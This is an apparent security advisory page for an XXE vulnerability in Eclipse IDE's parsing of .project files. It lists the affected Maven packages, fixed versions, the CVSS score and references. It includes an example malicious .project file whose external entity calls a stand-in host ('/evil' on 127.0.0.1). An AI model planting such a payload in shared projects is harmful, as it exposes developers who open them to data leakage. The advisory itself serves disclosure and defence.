Medium

Eclipse IDE XXE in eclipse.platform

  • Disclosed: 30.11.2023
  • Updated: 11.10.2026 12:21

Impact

xml files like ".project" are parsed vulnerable against all sorts of XXE attacks. The user just needs to open any evil project or update an open project with a vulnerable file (for example for review a foreign repository or patch).

Vulnerablility was found by static code analysis (SonarLint).

Example .project file:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE price [
<!ENTITY xxe SYSTEM "http://127.0.0.1:49416/evil">]>
<projectDescription>
	<name>p</name>
	<comment>&xxe;</comment>
</projectDescription>

Patches

Similar patches including junit test that shows the vulnerability have already applied to PDE (see https://github.com/eclipse-pde/eclipse.pde/pull/667). A solution to platform should be the same: just reject parsing any XML that contains any DOCTYPE.

Workarounds

No known workaround. User can only avoid to get/open any foreign files with eclipse. Firewall rules against loss of data (but not against XML bomb).

References

https://cwe.mitre.org/data/definitions/611.html https://rules.sonarsource.com/java/RSPEC-2755 https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/8 (Report for multiple projects affected)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.eclipse.jdt:org.eclipse.jdt.ui < 3.30.0 3.30.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.core.runtime < 3.29.0 3.29.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.jface < 3.31.0 3.31.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.platform < 4.29.0 4.29.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.forms < 3.13.0 3.13.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.ide < 3.21.100 3.21.100
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.ui.workbench < 3.130.0 3.130.0
Java / Kotlin (Maven) org.eclipse.platform:org.eclipse.urischeme < 1.3.100 1.3.100

References

CVSS score 5/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N
Weakness (CWE)
-
Platform
Java / Kotlin (Maven)
Package
org.eclipse.jdt:org.eclipse.jdt.ui, org.eclipse.platform:org.eclipse.core.runtime, org.eclipse.platform:org.eclipse.jface
Disclosed
30.11.2023
Updated
11.10.2026 12:21

Sources and licenses

OSV / GitHub Advisory Database - GHSA-j24h-xcpc-9jw8 - CC BY 4.0

Vulnerability history: org.eclipse.platform:org.eclipse.urischeme

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.